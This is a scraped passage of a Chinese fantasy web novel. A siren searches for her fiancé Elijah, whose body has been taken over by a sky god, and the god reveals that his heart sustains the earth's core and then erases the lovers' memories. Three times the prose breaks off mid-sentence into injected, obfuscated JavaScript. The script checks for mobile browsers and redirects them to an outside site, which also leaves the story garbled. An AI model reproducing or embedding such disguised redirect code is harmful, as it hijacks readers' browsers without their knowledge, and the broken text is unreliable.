一个突然冒出来的女人,突然说是舅舅的未婚妻,少年才没有这么容易相信,“我怎么从来没有听舅舅提起过?” 少女一愣,她没有想到,以利亚竟然从没向罗尔提起自己。 也不知道他是怎么想的…… 难道—— 她面色凝重,语气中不由带上了焦急,“别管这些了,快告诉我,他究竟怎么了?” 也许是看见了少女脸上不掺杂质的担忧,少年稍稍放下了戒心,半信半疑地瞧着她,慢吞吞地将少女来之前的事情说了出来。 一个并不复杂的故事。 知道罗尔身上的异样来源之后,以利亚第一时间就想到了解决办法。 只要将罗尔身上的力量转移,罗尔就不会再继续遭受痛苦,更不会有性命之忧。 大陆时代,曾经有人这么做过,同样创造出了一种阵法。 很可惜,这么做的人都失败了,不是因为阵法失败,而是…… 他们的身体无法承受神明的力量,除非,他们也是同一位神明的后裔。 以利亚刚好符合这个条件。 因为没有人成功过,所以他也不知道成功之后会是什么情况,但他心里总觉得惴惴不安。 不安驱使他带着罗尔来到了慕斐岛。 事实证明,这是一个无比正确的决定。 说话之间,少女和罗尔都没有注意到,地上的血液在慢慢消失,它们本该凝固才对,哪怕是渗入冰层之中,也要合理得多。 当他们发现的时候,最后一滴血液也回到了以利亚的指尖。 伤口仿佛完全不存在过。 “怎么——”罗尔发出轻呼,话未说完,他感到周遭的温度又下降了,不等他回头,一股难以抵抗的寒风在冰洞中卷起,将他像落叶一样卷了起来。 常年卧病在床的身躯尚有些虚弱,罗尔狠狠撞到洞壁上,仿佛五脏六腑都要给撞出来了。 这还没完,他被洞壁弹开,来不及反应,又要从距离地面几人高的地方摔下去。 他闭上了眼睛,但预想中的疼痛没有到来,他落到了一团柔软的羽毛上,睁开眼睛一看,竟是一双巨大的翅膀接住了他。 翅膀的主人站在她的身前,抬手勉强抵抗着狂风的吹拂。 又黑又长的卷发被吹得飘舞个不停,难得有几分柔弱之感。 “你……你是海妖?”少年罗尔惊讶道。 少女没空看他,挥舞翅膀,将他放在了地上,随口应了一声。 狂风仿佛有实体一般,萦绕在他们周围,而在风暴中央,她曾经熟悉的人影正散发出无比危险的气息。 “以利亚!” 少女高声叫道,她看见他依然紧闭着双眼,好似陷入了沉睡。 是她的呼唤起了作用吗? 男人缓缓抬起头,睁开了眼睛,肉眼可见的,他那黑色的长发自发梢开始,逐渐变白,从缓慢到快速,不过一眨眼的功夫,满头的黑发已经变成了银丝。 与此同时,他也完全睁开了双眼,原本温暖的棕色眼眸,隐隐有红色的流光闪烁,难以分辨的纹路时不时亮起。 男人沉静的目光扫过了不远处的一人一海妖,像看陌生人一样。 少女察觉到那道视线在自己身上停留了一瞬,然后毫无留念地转开,最终落到了罗尔身上。 她心里一沉。 “舅舅!”罗尔惊喜地大喊,天真的少年还没有察觉到危险,看到亲人苏醒,他的喜悦溢于言表。 不顾身上的疼痛和狂风的阻隔,他从洞穴边缘向中央跑去,似乎想去看一看自己的亲人有没有事。 仿佛是在回应他,男人漂浮在半空中,也慢慢向他所在的方向靠近。 少女拦住了他。 “别过去!” 少年被这一声厉喝吓住,他站立在原地,立刻露出了后悔的神情,他怎么能因为一个刚认识的女人的制止而停下呢? 他对少女怒目而视。 少女并不在意,她死死地盯着那个熟悉又陌生的男人,巨大羽翼上柔软的羽毛慢慢变得坚硬。 终于,男人再度注意到了这个挡路的女人,身形一闪,瞬间来到她的面前。 他低头俯视着她,飞舞的银发拂过少女修长的脖颈,留下一道红色的浅浅的伤口。 血珠从伤口溢出来,米娅抬手抚摸了一下,看着指尖温热的鲜血发愣。 下一刻,冰冷的手指捏住了她的下巴,强迫她将头抬了起来,男人的瞳孔中倒映出她的脸,米娅得以从旁观者的角度看见自己的神情。 她在恐惧,连自己都不知道。 少年呆呆地立在原地,看见两人的模样,目光不知道该往哪儿放。 就在这时,他听到男人口中发出了一段古怪的音节,如同咒语一般,钻进他的耳朵里,将他的脑子搅得嗡嗡作响。 少年捂着头痛苦地蹲了下去。 他不知道这是什么,但米娅听懂了。 他说的是神语。 那一句话的含义是—— “原来是奥洛的眷属,不对,还有……” 然后,男人摩挲着米娅的下巴,冰冷的指尖慢慢向下移动,划过她脆弱的颈项,就像刀尖在她的脖子上滑动。 “呃——”少女不可抑地发出一声痛苦的呻吟,男人的手掌握住了她纤细的脖子,紧紧扼住她的咽喉。 她不该束手就擒,然而现在的情况是,不是她不想反抗,而是她动弹不得。 在奥修斯岛上,她和以利亚有过较量,对双方的力量心知肚明,这绝对不是以利亚的力量,这股力量就像一块巨石从头顶压下,连反抗的心也被压制住。 “你是谁?”她艰难地用神语问他。 男人的眼中闪过一丝意外,“按照记忆来说,我应该是以利亚·赫尔西。” “你不是他。”少女看着男人的眼睛,脖子上那只手越收越紧,每说一个字,她都能感觉到自己又向名为死亡的悬崖靠近了一步,“他不会——” 轰的一声巨大的声响打断了她的声音,地动山摇般的震颤从地底传来。 男人皱了皱眉,将少女甩到地上,转身竖起一道无形的屏障。 好像永远也不会停歇的震颤中,从虚空跃出一道透明的影子。 看不清边界的虚影,似乎有豹子一样的身躯,敏捷地直扑过来,张开血盆大口,誓要将男人吞入腹中。 但它始终撞不开屏障。 “一道残影而已,也敢叫嚣。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161806|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人一挥衣袖,屏障消失,猛兽般的虚影再度冲过来,凭空出现的金色锁链像毒蛇锁定了猎物,将虚影禁锢。 虚影怒嚎一声,如烟雾一般散开,然后从烟雾深处伸出无数只触手,仿佛想将他包裹住。 只是它的力量太过弱小,未及碰触到男人的衣角,苍白的焰火就燃了起来,将它的触手烧得噼啪作响。 虚影发出痛苦的吼声,却一步也不退。 雾气渐渐凝成人的形状,从模糊的人脸处,一个声音传来,“我不会允许你再杀她一次。” “再?”男人看了一眼少女,将她茫然的表情收入眼底。 就在这个瞬间,雾气趁他转移了视线,倏忽分作两簇,一簇化作狮子,向罗尔袭去,一簇化作一道彩练,卷上了少女的腰。 罗尔想要躲避,却发现自己避无可避,没有武器,没有力量,身体比普通人还虚弱,面对从未见过的生物以及其带来的让人胆寒的威慑力,他甚至无法挪动一步。 难道要死在这里? 他经历了这么多痛苦,好不容易重获新生,难道只是一场短暂的梦? 他愣住了,触手越来越近,却在即将接触到他的身体的一瞬间,像是被门挡住了似的,撞上了无形的屏障。 是舅舅! 他的精神振奋起来,看着不远处一动不动的人影,虽然他醒过来之后给人的感觉有些奇怪,但他到底还是救了自己。 孺慕之情尚在眼底,一声惊呼吸引了他的视线。 就在不远处,被甩到地上的少女被雾气卷到半空中,雾气正拖拽着她向外飞去。 她望着这边,看到男人救下了少年,却完全无视了她。 眼前的雾气给她一种熟悉的感觉,然而在她的记忆中,从来没见过雾气的踪迹。 “舅舅!” 少年不禁又叫了一声,虽然这个海妖出现得莫名其妙,可她的确帮了自己,他不认为她是一个坏人。 更何况,她还宣称,她是身边这个人的未婚妻。 现在的状况来看,像是一个谎言,可是不知怎的,瞥见海妖看着男人的眼神,他竟然忍不住想要去相信。 男人没有回应罗尔,他就像这时候才发现少女的窘境一样,慢悠悠地看了过去。 这时,雾气已经卷着少女到了洞口。 恍惚间,少女听见了少年的疑问,却迟迟等不来男人的回应,一颗心坠得更深,她紧咬着牙,拼命地挣扎,却不让一点儿痛苦的声音从自己的口中发出。 也不知道是在逞强给谁看。 离开奥修斯岛之前,她料想到自己这次出来是一件危险的举动,也许会受伤,也许会丧命,可是她必须这么做,她不能眼睁睁看着爱人经历危险自己却冷眼旁观。 所以她一定要来,一定要尽自己的努力。 可是她怎么也没有想到,眼下会是这样一种局面,陷入危险的是自己,而冷眼旁观的人—— 雾气带着她一头扎进了冰水里,刺骨的寒冷模糊了视线。 她不受抑制地下坠,仿佛正在坠入深渊。 她会死吗—— 来自腰上的力量打断了米娅的胡思乱想,她睁开眼睛,男人竟也跳入了水中,他拨开雾气,一只手臂揽着她的腰,抱着她跃出水面。 男人的另一只手也没闲着,掌心向上,一团流光溢彩的水汽出现,慢慢将雾气包裹,带着雾气不断下沉,最后在雾气不甘的怒吼中,将它拉回了地底。 65. 过往(六) 不甘的怒吼经久不息地回荡,连回声也带着磅礴的力量,震得人头昏脑胀。 少年实在忍受不了,捂着头蹲了下来。 而在另一边,少女被迫靠在男人怀中,他的身边似乎有隔绝一切的结界一般,将那声音无限弱化,仿佛是从很远的地方传来,引不起一点儿波动。 完全称不上温暖的怀抱,让人感觉并不舒服。 少女挣扎了一下,没挣开,于是她皱着眉抬头看去。 男人没有看她,视线落在雾气消失的水面,仿佛完美雕塑作品一般的侧脸在冰川映照下看起来就像是透明的。 感受到少女的注视,他低头看过来,棕色眼眸中的红色纹路似乎消失了一瞬,随后却又愈发明亮。 看着海妖美丽的脸,男人的长眉深深皱了起来,四目相对,少女清楚地看见了他眼中的惊疑。 惊的是什么? 疑的又是什么? 她不禁好奇地想。 两人的对视随着吼叫声消失而结束,禁锢在少女腰上的手臂松开的同时,顺势将她推离。 少年从难以忍受的痛苦中恢复过来,眼神古怪地看着他们。 “舅舅,她真的是你的未婚妻吗?”沉默了很久,他忍不住问道。 “未婚妻?”男人重复着,将视线落到海妖身上,然后没了声响,他没有承认,也没有否认。 少女苦笑一声,从水面的倒影中看到了自己狼狈的模样。 在看起来毫发无损的两人的衬托下,她觉得自己就是个笑话,但内心深处的不安令她留了下来。 她迫切地想知道,在以利亚身上,究竟发生了什么? 洞穴之外阳光正盛,照射到大片大片的冰川上,反射出刺目的亮光。 那个人,还是以利亚吗? 少女不禁看过去,眼前忽然一花,又来到了洞穴之内。 白茫茫的一片,什么东西也没有,让人有一种立于世界之外的错觉。 “以利亚?” “罗尔?” 她低声呼唤,没有得到回应。 她又提高了音量,这回,终于有道光芒一闪,以利亚凭空出现在眼前,冷冷地瞥了她一眼,“闭嘴。” 命令的语气让少女皱起了眉,他眼中红色的纹路更是让米娅怎么看怎么不顺眼,直觉告诉她,都是这纹路捣的乱。 她紧盯着他的眼睛,试图看清纹路的每一笔走向,看着看着,熟悉的感觉逐渐涌上心头,这个纹路,她一定在那里见过。 究竟是哪里呢? 少女百思不得其解。 在此期间,她一直盯着他的眼睛,男人也毫不客气地看着她,从细长优雅的眉毛,到如海水一般蔚蓝的眼睛,再到玫瑰般娇嫩的嘴唇,几乎要将她脸上每一处都看透。 “看够了吗?” 许久之后,男人薄唇微动,冷冷地问道。 少女反唇相讥,“这话该我问你才是。” 说完,她就移开了视线,垂下眼眸,以鸦羽般的长睫掩住眼中的震惊。 她记起来了,那个纹路的图案,不就是她刚到洞穴之中,看到的那个法阵的图案吗,那个以利亚为了帮助罗尔摆脱神明的力量而用鲜血画下的法阵。 这么说,以利亚的变化,来自于那个古怪的法阵。 少女思绪急转,拜以利亚此前的坦诚所赐,她已经知道,赫尔西家族是神明的后裔,他们身上流着神明的血,因此让罗尔痛苦不已的力量,也是神明的力量。 罗尔好了。 神祇的力量不会凭空消失,否则,在遥远的过去,也就不会有那么多人窃取了神力之后,发现自己驾驭不了神力反受其害,却无法轻易放弃了。 那就只有两种可能性,要么那股力量回到了原本的地方,但是以利亚说过,那个法阵是单向的。 除非得到力量的人类死亡,不然力量不会回去。 还有一种可能性——转移。 转移要求血缘关系,刚好他们符合这一点。 在奥修斯岛的藏书中,少女看到过,转移的第二个条件——神明的“祝福”。 并非任意一个神明的“祝福”都可行,需要力量来源的神明的“祝福”。 这里所说的“祝福”,不是像群岛的通俗小说中想象的那般,民众来到教堂,在神像下祈祷,神职人员在他们的额头洒下圣水,或者在他们的手背写下祝祷词那般简单。 它要求神明的降临,最不济,也得是神明的瞥视。 简单来说,神明要知道这件事,不论通过怎样的形式。 活蹦乱跳的罗尔说明,以利亚的转移仪式成功了。 问题正出自于此,赫尔西家族和奥修斯岛的海妖最清楚不过,与赫尔西家族最有可能有关系的神明,天空之神,已经死了近两百年。 所谓“祝福”,从一开始就不会出现。 既然如此,没有神祇的“祝福”,以利亚又是如何成功的呢? 看着身旁这个熟悉又陌生的男人,她的心里忽然冒出了一个不可思议的念头。 男人转身要走,她抓住了他的胳膊,“能不能告诉我,你到底是谁?” 他是以利亚吗?少女分辨不出来,她所熟悉的以利亚,是那么的温柔,总是扬起浅浅的微笑,让人如沐春风。 如果是他的话,哪怕忘记了自己,也一定不会对自己的危险视而不见吧。 可是在某些偶然的瞬间,她又似乎从男人的脸上,瞥见了属于以利亚的神情,与温柔之下潜藏的冷淡。 她陷入了迷惑,甚至有些害怕听到答案。 天空之神的力量,天空之神的“祝福”。 有没有一种可能,眼前出现的这个人,正是通过这场名为转移的仪式,实则实现了某种意义上的降临呢? 少女心跳得很快,她为自己大胆的猜测而忐忑。 男人回首望着她,眼眸中红色的纹路愈发清晰,他看透了她眼中掩饰得很好的小心翼翼的希冀,并且在眼眸流转间明白了其中的含义。 在祂的注视下,一切无所遁形。 “以利亚。”淡淡的嗓音如同雨后朦胧的天空,云朵将太阳遮住,热情与灼烧穿不过云层,只有泥土的芬芳能驱散阴霾。 天地间的一切都蒙着一层雾一样。 以利亚? 说实话这个回答让少女有些意外,她想过也许会从他的嘴里听到另一个名字,或者还是以利亚·赫尔西,可是以利亚—— 这不是以利亚介绍自己的方式。 “那你知道我是谁吗?”少女又问,她的心越跳越快,砰砰砰,在这空荡荡的地方,格外的引人注目。 “知道,海妖米娅,在记忆里,你是‘我’的恋人。” 看来,他拥有属于以利亚的所有记忆。 “最后一个问题。”少女紧紧握住他的胳膊,她感觉到他想要离开,一旦他下定决心,自己没有任何力量阻止,所以她不得不低声下气,“真的是最后一个问题,你来自什么时间?” “你知道的倒不少。”男人眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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偏偏就在这时,仿佛是为了故意吊她胃口,神明看着她笑道:“倒是你,你好像完全不知道自己究竟是什么。” 好熟悉的笑容,晃了晃神,少女还以为以利亚回来了。 这位神秘的天空之神,没有神话传说中那般冰冷呢。 好一会儿,少女才去思考神明话中的意思。 我究竟是什么? 我不就是海妖吗? 祂不是一眼就看出来了吗,祂还拥有以利亚的所有记忆,更应该知道才对。 她正要开口,大地忽然又开始动摇起来,少女还以为是那雾气卷土重来,一脸警惕地看向洞口。 但她这次猜错了。 颤动从地底深处传来,冰面随之开裂。 裂缝逐渐扩大,冰块碎裂崩解。 仿佛两百年前的场景重现,只是范围小得多。 忽冷忽热的气息从裂缝中涌出来,瞬间填满了整个洞穴,冷风与热浪交替,呼吸都成了一件难事。 少女有些站不稳,她下意识抓住了身边人的手,反应过来时已经没有了反悔的机会。 神明的视线落到她的手上,只一瞬,她却依然感受到了那股暗流涌动,她甚至感觉到了祂的心情。 祂讨厌旁人的触碰,祂想甩开她。 但是最后祂并没有这么做,反而拉着她一起跳进了裂缝之中。 66. 过往(七) 少女尖叫一声。 从未体验过的失重感涌来,她的羽翼蜷缩在背后,好像在害怕什么一样不听使唤,无论怎样努力都舒展不开。 那双始终没有放开的手,成了唯一的支点。 再也顾不上对方是什么身份,她握紧了对方的手,指甲几乎嵌进肉里。 越往下掉,寒冷逐渐消退,而热浪愈发猖狂。 裸露在外的皮肤,甚至有被灼烧的感觉。 奇怪的是,她能感觉到常人难以忍受的热度,却不仅不觉得难受,还有些舒服,仿佛整个人泡在温泉里。 还没想明白为什么会这样,他们的下坠停止了。 神明松开手,少女落在地上。 似乎是一片巨大的地下空间,黑色岩石铺成笔直狭窄的道路,立在岩浆之上。 道路很长,尽头是看不清的黑暗。像一道门立在那里,吸引着人前去一探究竟。 “这是什么地方?”少女发出疑问。 神明没有理会她,径直沿着道路向前走去。 岩浆不停地翻涌,时不时溅到道路上,发出滋滋的响声,然后升起一阵轻薄的雾气,雾气又凝结成一个模糊的形状,挡在道路中央。 少女赶紧跟了上去。 神明走过之处,雾气自动散开,为他让出一条道路来。 但少女却没这种能力了,她还在疑惑这些是什么的时候,雾气竟向她扑了过来,雾气也带着高温,碰到她的衣物,瞬间将接触到的部分变为了焦炭。 少女连连后退,身后竟也聚集了不少白雾,它们有的是人的形状,有的是动物的形状,还有不少奇形怪状说不出是什么,每一个都在低声嘶吼,仿佛在控诉着。 不是人类的语言,更不是海妖的语言。 有一点儿像神语,少女却听不大懂。 躲无可躲之际,神明似乎终于发现了她的窘境,折返回来,来到她的面前。 祂一靠近,白雾就自动消散,祂握住少女的手腕,拉着她向前走。 少女不肯动,狼狈地抬起头,恶狠狠地瞪着祂,“你不说清楚的话,我是不会跟你走的。” 神明微笑,“那么,你想被混沌幽魂吞噬吗?” “混沌幽魂?那是什么?”少女毫不客气地问。 神明不曾开口,祂伸出手指,轻轻点在她的额头,一缕金色的光从额头钻了进去,她呆在了原地,神情呆愣了片刻。 那是所谓记忆或者知识的东西,只一瞬间,她仿佛也经过了远古混沌的时光。 混沌中的厮杀比现今更甚,又没有名为冥界的地方可以容纳亡魂,亡魂只能在漫长的时间里一点一点磨损消散。 创世之后,它们随着陆地的形成一起坠入了地心。 “这里竟然是……地心……”少女低声喃喃。 “跟紧我。”神明甩下一句话,向着道路尽头走去。 少女不再抗拒,默不作声地跟着他。 越来越多的幽魂从岩浆中冒出来,聚集到他们周围,却又不敢靠得太近,无数声音从幽魂身上发出,比耳边的蚊蝇还烦人。 “它们在说什么?”路途走了一半,少女终于忍不住问。 少女看到前方的身影顿了一下,但也仅此而已,祂没有回答。 又不说话。 少女努了努嘴,没感到意外,她侧耳倾听,努力从模糊的声音中听出了几个词来。 “回来……” “逃……” “忒菲……” 又是回来又是逃,究竟是个什么意思? 这些断断续续的词语组不成句子,少女皱着眉想了一会儿,实在不能理解,只好放弃。 没有了太阳和月亮的指引,地心时间流动的速度仿佛与外界不同,他们一直走一直走,走到少女的小腿开始隐隐泛疼,终于走到了终点。 少女走近些看,原来是一块巨大的黑色岩石,中心凹陷进去,向外冒着黑泥。 那黑色仿佛能吞噬一切。 “果然——” 神明的声音传到她的耳朵里,仿佛隔了一层纱,有些朦胧,当她反应过来时,她已经将手伸进了黑泥之中。 好冷。 一声叹息从岩石中传来。 忽然间,周围的声音变得清晰起来,那一句句曾经难解的话语,此刻却能轻易分辨含义。 “基石不在了。” “地心迟早会崩塌,大地会不复存在。” “两百年就是极限。” “……” 幽魂的神智被岁月磨砺得所剩无几,虽然听懂了,但他们前言不搭后语,少女只能拼凑出一个大概的事实。 这里曾放置着一块“基石”,是地心的支柱,但是“基石”不知为何不见了,没有了“基石”,地心仅能维持两百年的平稳,当它崩塌之际,大地将迎来彻底的毁灭。 少女慌张起来,她迫切地想要知道,传说中的“基石”在何处。 似乎是为了回应她的期待,一道依稀是人形的影子飘了过来,不同于神智残缺的幽魂惧怕着神明,它飘到神明面前,用雌雄莫辨的声音说:“去找到你的心脏,伊瑟尔,将它放回来。” 说完,它就化为了一道白光,钻进神明的额头。 怎么回事? 少女惊讶地看着这一幕,突然眼前一黑。 再醒来时,她又回到了冰川的洞穴之中,那道直达地心的裂缝仍在,只是表面覆盖了一层金光,她将手放上去,就像按在地面一样。 “我将入口封住了,怎么,你想再下去一次?” 少女看过去,美丽的青年站在洞口,红色的眼眸更添妖异。 是伊瑟尔,不是以利亚。 少女雀跃的心沉了下去。 “你的心脏在哪里?”她问。 神明笑了一下,“原来你都听见了。” 祂走过来,后面还跟着个小尾巴,是恢复健康的罗尔。 “我的心脏就是基石,可惜在我的未来,你们的过去,似乎因为我的死亡,我的心脏也从地心消失了。”神明缓缓说道,“你想找到我的心脏是么,不必着急,将来的某一天,你们会见到它的,只是到那时,你们将作出取舍。” “什么取舍?” 神明抬起手臂,看向这具临时的躯壳。 “你们都搞错了一点,这具身体并非容纳我的降临的最好容器,他就是我,他是我的转世,未来将吸纳溢散于世上的神力,重新取得我的权柄。他之所以不会死,是因为他真正的心脏也就是我的心脏在别处,将心脏归位,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174264|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将重新成神,若是将心脏放回地心……” 神明看向少女,视线落在她姣好的眉眼上,“从人类而成的神,没有心脏的支持,他也承受不住这么多神力,将会……彻底死去。” 少女脸色一变。 半晌,她哑着嗓子问:“既然你说他就是你的转世,你不会让你们死的对不对?你一定还有办法是吗?” 神明深深地看了她一眼,没有正面回答,“我已经活了太长的时间,死亡于我而言并非值得恐惧的事物。” 少女抓住他的胳膊,“不行,不行……” 她一直重复着相同的词语,声音却越来越小,脸上的表情由惊惧转为迷茫,最后变为绝望。 她不愿看到爱人死去,但这似乎是个二选一的难题,如果他不死,这个所有人和海妖赖以生存的地方就会毁灭。 神明任由她抓着自己,转头看向罗尔,少年的神态与海妖如出一辙,乍听到这个消息,内心的惊涛骇浪之后,是不知所措的迷茫。 “你认为应该怎么选?”神明问少年。 少年答道:“我不知道。” “你怎么能不知道?!”少女不甘地叫道,“他救了你的命!” 少年低下了头,不敢看她,好一会儿才说:“我愿意用我的命代替他,可是——” 可是就算少年献出自己的心脏代替他,也成为不了基石,也无法阻止世界毁灭。 难道,就这样了吗? 少女绝望地跌坐在地上,泪水自眼眶溢出。 神明俯身,拭去她眼角的泪水,指尖的温度熟悉又陌生,他的动作很轻,仿佛是怕惊扰了她,说不出的温柔。 他的声音更是轻柔,恍惚间,少女还以为回到了奥修斯岛上的那些时光,可是他说出的话,却让少女仿佛坠入了深渊。 “我即将离去,最终的选择,将由他来作出,但若是你当真了解他,应当知道他会怎么选。”神明停顿了一瞬,等她思考出答案。 “……他会,牺牲自己。”少女哽咽着说。 神明垂眸,“回去吧,忘了这一切。” 随着她的低语,羽毛笔出现在空中。 “谁将本大爷叫出来……” 嚣张的声音在看到神明之际戛然而止,取而代之讨好的笑声。 “神主,您叫我出来有什么事?” 神明看着少女,“抹去他们关于对方的记忆。” “什么?”少女猛地抬起头,“你不能这么做——” 反抗来得迟了一步,话还没说完,她就闭上眼睛失去了意识。 神明接住她,手臂环在她的背后,将她抱了起来。 片刻之后,另一个身影凭空出现在洞穴之中,接过了少女,后退几步,又消失了。 做完这一切,神明眼中的红色时隐时现。 祂的时间快到了。 少年罗尔望着少女消失的方向,忍不住恳求道:“请让我也忘了她吧。” 神明看他,他又解释道:“我自知无法骗过舅舅,只有忘了,才能当作不曾存在这样一位海妖。” 神明点了点头,羽毛笔飞到罗尔额头上方,笔尖轻点在他的眉心。 神明靠墙坐下,眼中的红色消失殆尽,他垂着头,仿佛陷入了无尽的沉眠。 67. 权杖(一) 赛欧庄园建成几百年来,从未陷入如此大火。 火焰从废弃仓库的位置燃起,伴随着一声巨大的爆炸声。 卡伦匆匆赶到起火点附近,组织庄园中的人手救火,一桶又一桶冷水泼上去,火焰却丝毫没有熄灭的迹象。 甚至在没有风的时刻,沿着明确的方向向城堡蔓延而去。 这火有问题。 卡伦很快做出了判断。 仓库中没有火药,只装模作样地堆放了一些柴火,因为仓库的地下实际上是地牢,也不可能在这里藏有什么危险的东西。 他无能为力,眼睁睁看着火焰吞噬了城堡外墙上的藤蔓,将外墙烧得一片焦黑,然后窜得越来越高,向二楼而去。 看着看着,他突然发现,火焰好像不是乱烧一通,它的目的是某个房间。 “那不是——” “那是米娅之前的住处。”尊贵的领主无声无息出现在他身侧,平淡却笃定的语气。 没错,火焰正在向米娅曾经居住过的客房涌去,已经来到了窗边,正在试图融化玻璃钻进去。 几道冰锥自半空浮现,扎进火焰之中,火焰仿佛拥有实体,被冰锥钉在了外墙上。 火焰发出了巨大的尖啸声,外焰剧烈地挣扎起来,就像一个人遭受酷刑时的样子。 然后,冰锥融化成水,将火焰包裹。 火焰熄灭了。 熄灭得像来时一般迅速。 仿佛从未燃起过。 可是已成废墟的仓库和发黑的墙体又昭示了它曾经存在。 “领主大人。”卡伦犹豫再三,还是问了出来,“这个火焰,和米娅夫人有关吗?” “有,但不是出自她的意愿。”以利亚看着来来往往的人群,火焰熄灭之后,还有一堆善后工作,黑骑士休伊也向他们走了过来,“有人在找她。” 卡伦愣了愣,“用这种寻找方式?” 如此惊天动地,不顾后果。 “他本也不在乎闹出多大的动静。” 以利亚微闭双眼,火焰残留的气息正在迅速消退,天地寂静下来,气息以线条的形式呈现,指向某个遥远的方向。 找到了。 以利亚睁开琉璃般的眼睛。 “我要离开一会儿,卡伦,守好庄园,不准任何人靠近赫特高塔。”他顿了一下,又补充道,“如果米娅要离开,不需要阻拦她,也不需要派人跟着她。” “离开?”卡伦疑惑。 他看过去,身侧哪还有以利亚的身影,只有黑骑士休伊的身影,越来越近。 休伊一过来就焦急地说:“我认识这股力量,又是那只混沌凶兽。” *** 遥远北境,被永不融化的冰雪覆盖的小岛。 冰川形成的山峰上,身着灰色长袍的男人盘腿坐在悬崖边上,冰层反射太阳的光,照亮了他小麦色的皮肤。 灰色的雾气以他为中心,向四周扩散,直至稀薄到近乎透明。 也不知过了多久,他忽然转头看向了东南方向,这一方向的雾气急剧收缩,像受到了什么惊喜似的,缩回他的掌心。 刺骨的疼痛从掌心传来,男人面色阴沉,五指合拢,站了起来。 另一人出现在几步之外,向他投来冰冷的一瞥,“原来你躲在这里,塞奇。” 塞奇哼了一声,一挥手,雾气凝成刀刃,向另一人身上劈去,闪着冷光的刀锋距离那人只有一毫之隔时,又散成了雾气。 “时至今日,你杀不了我。”那人淡淡地说道。 塞奇冷笑着收回手,“那又怎样,有没有我,你都快死了,我等着那一天。” 那人不言,塞奇又说:“今天的事,只是一个警告,米娅我是一定要带走的,从一开始,她就属于我,要不是你和……哼,多说无益。” “是么?”来人笑了笑,“那么,这也是我给你的警告。” 话音未落,金色的锁链从地底钻了出来,缠上塞奇的手腕脚踝,将他牢牢地禁锢在原地。 塞奇拼命挣扎,锁链却越挣扎缠得越紧,直到他根本动弹不得,他怒吼道:“你以为这就能困住我吗,冥界都困不住我。” 来人抬手,锁链变得透明,嵌进塞奇的血肉里,将他也变得透明起来。 “冥界困不住你,那你就去时间裂隙待一阵子吧。” 说完,塞奇已经完全消失不见了,只余愤怒的声音回荡于天地之间。 做完这一切,来人来到冰川之中。 山腹中心的空洞里,裂缝像一道巨大的伤口,将地面一分为二。 他跳进裂缝中,落到地心,穿过长长的道路。 曾经聒噪无比的混沌幽魂,安静地匍匐在他脚下。 黑色岩石矗立在道路尽头,中心的凹陷处,放置着一颗红色的心脏。 离体的心脏仍在有力地跳动。 咚,咚,咚…… 声音很轻,却在空旷的地心形成无限回音。 每一下,都让气流震荡,让其余所有的声音都消融。 他将掌心轻轻贴近心脏,感受着心脏跳动的力量,眼前逐渐浮现一些从未见过却异常熟悉的画面。 黏稠的黑暗,不怀好意的眼睛。 比远古还久远的记忆,正在一点一点复苏。 一道影子出现在他身后。 影子中传来一个声音,“我找到她了,在另一个世界。” 他没有回头,“你要离开了?” 没有回应,影子已经消失,但他也知道了答案。 … 从地心出来,以利亚心念一动,瞬息间出现在了赫特高塔顶层的阁楼中。 米娅不在这里。 视线投向窗外,他俯瞰着庄园,到处都没有米娅的踪影。 她最后还是选择了离开么? 是他期望看到的结果,但他亦无法感到高兴。 卡伦在高塔外徘徊。 以利亚走下去。 卡伦看到他,走上前来,“领主大人,您终于回来了,无尽海出事了。” 就在刚刚,无尽海上存在了数千年的风暴消散了。 无尽海内生活着海妖,周遭布满了各个势力的眼线,风暴刚刚消散,这一消息就通过各种方法,传向了群岛的每一个角落。 最先到达的,是紧邻无尽海的赫尔西岛。 和这个消息一起到来的,是米娅从高塔靠近悬崖的一侧跳下去的消息。 卡伦始终记得以利亚的吩咐。 但这并不妨碍他派人盯着赫特高塔。 接到消息后,他来到赫特高塔外悬崖一侧的狭小空地,向悬崖下望去,如预想中一样没有在礁石遍布的海滩上看见女人的身影。 远处的海平面上,有一道笔直向外延伸的白色浪花。 他心中隐隐有了猜想。 他遵守了以利亚的命令,没再继续探究,严令禁止知道这件事的人泄漏出去。 以利亚不动声色地听他说完,“无尽海可以不用管,你和休伊先去做另一件事。” *** 不久后。 阳光明媚,海风和煦,西摩港的渔船满载而归。 人们将一切都归功于昨日的风灵节庆祝活动,神明听到了他们的祈愿,降下丰收与喜悦。 只是这份喜悦抵达不了与西摩港一街之隔的梧桐区。 经过彻夜狂欢,尚在熟睡中的海妖猎人们突然被一阵敲门声惊醒,一打开门,卫兵涌入,将他们绑了个结实,塞进马车里。 马车扬起的灰尘平息之后,卡伦从前任海妖猎人首领凯勒的府邸中走了出来,跟在他身后的是黑骑士休伊。 